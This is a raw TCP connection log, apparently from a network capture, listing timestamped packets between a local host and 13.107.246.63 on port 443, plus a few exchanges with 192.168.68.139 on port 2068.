Nov 23, 2024 21:13:42.071530104 CET	50026	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.071536064 CET	443	50026	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.086107016 CET	443	50025	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.087838888 CET	50025	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.087860107 CET	443	50025	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.091485977 CET	50025	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.091495037 CET	443	50025	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.112466097 CET	443	50027	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.115899086 CET	50027	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.115911007 CET	443	50027	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.119491100 CET	50027	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.119497061 CET	443	50027	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.270152092 CET	443	50029	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.270975113 CET	50029	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.270993948 CET	443	50029	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.271111012 CET	50029	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.271119118 CET	443	50029	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.339807034 CET	443	50030	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.340485096 CET	50030	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.340507984 CET	443	50030	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.341706991 CET	50030	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.341712952 CET	443	50030	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.509361982 CET	443	50026	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.512646914 CET	443	50026	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.512749910 CET	443	50026	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.513695955 CET	50026	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.522759914 CET	50026	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.522787094 CET	443	50026	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.522841930 CET	50026	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.522851944 CET	443	50026	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.530812979 CET	443	50025	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.535381079 CET	443	50025	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.537878990 CET	50025	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.562297106 CET	50025	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.562297106 CET	50025	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.562309980 CET	443	50025	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.562318087 CET	443	50025	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.568733931 CET	443	50027	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.571927071 CET	443	50027	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.573905945 CET	50027	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.605170965 CET	50031	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.605252028 CET	443	50031	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.608809948 CET	50031	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.611407995 CET	50027	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.611414909 CET	443	50027	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.611476898 CET	50027	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.611481905 CET	443	50027	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.714853048 CET	443	50029	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.714961052 CET	443	50029	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.715085030 CET	443	50029	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.715491056 CET	50029	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.807027102 CET	443	50030	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.811172009 CET	443	50030	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.814049006 CET	50030	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.871081114 CET	50031	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.871098995 CET	443	50031	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.871244907 CET	50030	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.871244907 CET	50030	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.871268034 CET	443	50030	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.871273041 CET	443	50030	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.873775959 CET	50029	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.873802900 CET	443	50029	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.873845100 CET	50029	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.873862028 CET	443	50029	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.888149023 CET	50032	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.888173103 CET	443	50032	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.891624928 CET	50032	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.948247910 CET	50032	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.948266029 CET	443	50032	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.951098919 CET	50033	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.951137066 CET	443	50033	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.951433897 CET	50033	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.951812029 CET	50033	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.951833963 CET	443	50033	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.952095032 CET	50034	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.952105999 CET	443	50034	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.952222109 CET	50034	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.953246117 CET	50035	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.953267097 CET	443	50035	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.953392029 CET	50035	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.953887939 CET	50034	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.953897953 CET	443	50034	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:42.954066038 CET	50035	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:42.954082012 CET	443	50035	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:44.694104910 CET	443	50033	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:44.695938110 CET	50033	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:44.695954084 CET	443	50033	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:44.699486971 CET	50033	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:44.699491024 CET	443	50033	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:44.727803946 CET	443	50032	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:44.732028961 CET	50032	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:44.732044935 CET	443	50032	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:44.735496998 CET	50032	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:44.735502005 CET	443	50032	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:44.737863064 CET	443	50031	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:44.738325119 CET	50031	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:44.738372087 CET	443	50031	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:44.739496946 CET	50031	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:44.739526033 CET	443	50031	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:44.760024071 CET	443	50035	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:44.764290094 CET	50035	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:44.764290094 CET	50035	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:44.764316082 CET	443	50035	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:44.764324903 CET	443	50035	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:44.828188896 CET	443	50034	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:44.832000017 CET	50034	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:44.832015038 CET	443	50034	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:44.835491896 CET	50034	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:44.835496902 CET	443	50034	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.138256073 CET	443	50033	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.141329050 CET	443	50033	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.141387939 CET	50033	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.141405106 CET	443	50033	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.141454935 CET	443	50033	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.141505957 CET	50033	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.141545057 CET	50033	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.141566992 CET	443	50033	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.141578913 CET	50033	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.141586065 CET	443	50033	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.145236015 CET	50036	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.145309925 CET	443	50036	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.145389080 CET	50036	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.145590067 CET	50036	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.145621061 CET	443	50036	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.181381941 CET	443	50032	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.184907913 CET	443	50032	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.184958935 CET	50032	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.185007095 CET	50032	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.185019970 CET	443	50032	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.185029030 CET	50032	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.185034037 CET	443	50032	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.189055920 CET	50037	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.189111948 CET	443	50037	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.189163923 CET	50037	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.189343929 CET	50037	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.189367056 CET	443	50037	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.200098038 CET	443	50031	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.200206995 CET	443	50031	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.200248957 CET	50031	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.200278044 CET	443	50031	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.200309038 CET	443	50031	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.200359106 CET	50031	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.200407028 CET	50031	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.200407028 CET	50031	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.200452089 CET	443	50031	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.200475931 CET	443	50031	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.203639030 CET	50038	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.203670979 CET	443	50038	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.203737974 CET	50038	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.203921080 CET	50038	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.203947067 CET	443	50038	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.213046074 CET	443	50035	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.216268063 CET	443	50035	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.216330051 CET	50035	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.216388941 CET	50035	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.216413021 CET	443	50035	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.216427088 CET	50035	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.216434002 CET	443	50035	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.220227003 CET	50039	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.220269918 CET	443	50039	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.220326900 CET	50039	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.220500946 CET	50039	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.220520973 CET	443	50039	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.294486046 CET	443	50034	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.297768116 CET	443	50034	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.297827005 CET	50034	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.297883034 CET	50034	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.297892094 CET	443	50034	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.297903061 CET	50034	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.297905922 CET	443	50034	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.301538944 CET	50040	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.301567078 CET	443	50040	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.301620007 CET	50040	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.301862001 CET	50040	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:45.301873922 CET	443	50040	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:45.359642982 CET	50028	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:13:45.542058945 CET	2068	50028	192.168.68.139	192.168.2.4
Nov 23, 2024 21:13:45.765999079 CET	50028	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:13:45.892467976 CET	2068	50028	192.168.68.139	192.168.2.4
Nov 23, 2024 21:13:47.044625044 CET	443	50039	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.045381069 CET	50039	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.045399904 CET	443	50039	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.046011925 CET	50039	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.046015978 CET	443	50039	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.102138042 CET	443	50037	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.102832079 CET	50037	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.102854967 CET	443	50037	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.103405952 CET	50037	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.103413105 CET	443	50037	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.106168032 CET	443	50036	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.106758118 CET	50036	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.106792927 CET	443	50036	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.107355118 CET	50036	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.107368946 CET	443	50036	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.163368940 CET	443	50038	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.166158915 CET	50038	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.166193962 CET	443	50038	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.166779995 CET	50038	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.166791916 CET	443	50038	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.317572117 CET	443	50040	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.318233013 CET	50040	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.318248987 CET	443	50040	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.318840981 CET	50040	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.318845034 CET	443	50040	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.482883930 CET	443	50039	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.490027905 CET	443	50039	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.490072966 CET	50039	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.490077019 CET	443	50039	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.490123987 CET	50039	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.491899967 CET	50039	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.491919041 CET	443	50039	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.491930962 CET	50039	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.491936922 CET	443	50039	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.497427940 CET	50041	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.497482061 CET	443	50041	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.497545958 CET	50041	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.497735023 CET	50041	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.497750998 CET	443	50041	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.557862043 CET	443	50036	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.557909966 CET	443	50037	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.562680960 CET	443	50036	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.562751055 CET	50036	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.562834024 CET	50036	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.562834024 CET	50036	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.562877893 CET	443	50036	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.562911987 CET	443	50036	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.563591003 CET	443	50037	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.563632965 CET	50037	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.563649893 CET	443	50037	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.563664913 CET	443	50037	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.563718081 CET	50037	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.564876080 CET	50037	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.564888954 CET	443	50037	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.564898968 CET	50037	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.564904928 CET	443	50037	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.567351103 CET	50042	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.567384005 CET	443	50042	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.567444086 CET	50042	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.567632914 CET	50042	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.567646027 CET	443	50042	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.568298101 CET	50043	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.568311930 CET	443	50043	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.568361044 CET	50043	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.568495035 CET	50043	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.568506002 CET	443	50043	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.625704050 CET	443	50038	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.631540060 CET	443	50038	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.631612062 CET	50038	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.631709099 CET	50038	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.631709099 CET	50038	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.631752014 CET	443	50038	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.631778955 CET	443	50038	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.635795116 CET	50044	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.635819912 CET	443	50044	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.635873079 CET	50044	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.636002064 CET	50044	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.636012077 CET	443	50044	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.773765087 CET	443	50040	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.777530909 CET	443	50040	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.777617931 CET	50040	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.777673960 CET	50040	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.777704954 CET	443	50040	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.777761936 CET	50040	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.777777910 CET	443	50040	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.780116081 CET	50045	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.780168056 CET	443	50045	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:47.780236959 CET	50045	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.780375957 CET	50045	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:47.780390024 CET	443	50045	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.297390938 CET	50028	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:13:49.419488907 CET	2068	50028	192.168.68.139	192.168.2.4
Nov 23, 2024 21:13:49.486819029 CET	443	50042	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.487337112 CET	50042	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.487354040 CET	443	50042	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.487909079 CET	50042	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.487912893 CET	443	50042	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.501626968 CET	443	50044	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.502055883 CET	50044	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.502089024 CET	443	50044	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.502599955 CET	50044	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.502604961 CET	443	50044	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.516074896 CET	443	50041	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.516535044 CET	50041	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.516561985 CET	443	50041	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.517057896 CET	50041	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.517065048 CET	443	50041	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.521895885 CET	443	50043	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.522535086 CET	50043	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.522558928 CET	443	50043	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.523262978 CET	50043	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.523269892 CET	443	50043	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.616672993 CET	443	50045	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.617249966 CET	50045	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.617304087 CET	443	50045	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.617846966 CET	50045	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.617854118 CET	443	50045	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.930469036 CET	443	50042	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.933518887 CET	443	50042	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.933574915 CET	50042	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.933609009 CET	50042	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.933634043 CET	443	50042	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.933643103 CET	50042	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.933649063 CET	443	50042	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.936867952 CET	50046	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.936906099 CET	443	50046	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.937028885 CET	50046	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.937294006 CET	50046	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.937306881 CET	443	50046	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.944911003 CET	443	50044	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.945548058 CET	443	50044	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.945652962 CET	50044	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.945652962 CET	50044	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.945652962 CET	50044	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.948205948 CET	50047	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.948257923 CET	443	50047	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.948318005 CET	50047	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.948455095 CET	50047	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.948472977 CET	443	50047	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.960036993 CET	443	50041	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.963129997 CET	443	50041	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.963187933 CET	50041	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.963252068 CET	50041	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.963268042 CET	443	50041	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.963295937 CET	50041	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.963303089 CET	443	50041	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.964181900 CET	443	50043	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.966311932 CET	50048	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.966341019 CET	443	50048	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.966394901 CET	50048	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.966569901 CET	50048	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.966578007 CET	443	50048	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.967381001 CET	443	50043	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.967503071 CET	443	50043	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.967526913 CET	50043	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.967555046 CET	50043	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.967598915 CET	50043	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.967608929 CET	443	50043	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.967622995 CET	50043	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.967628956 CET	443	50043	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.969938993 CET	50049	443	192.168.2.4	13.107.246.63
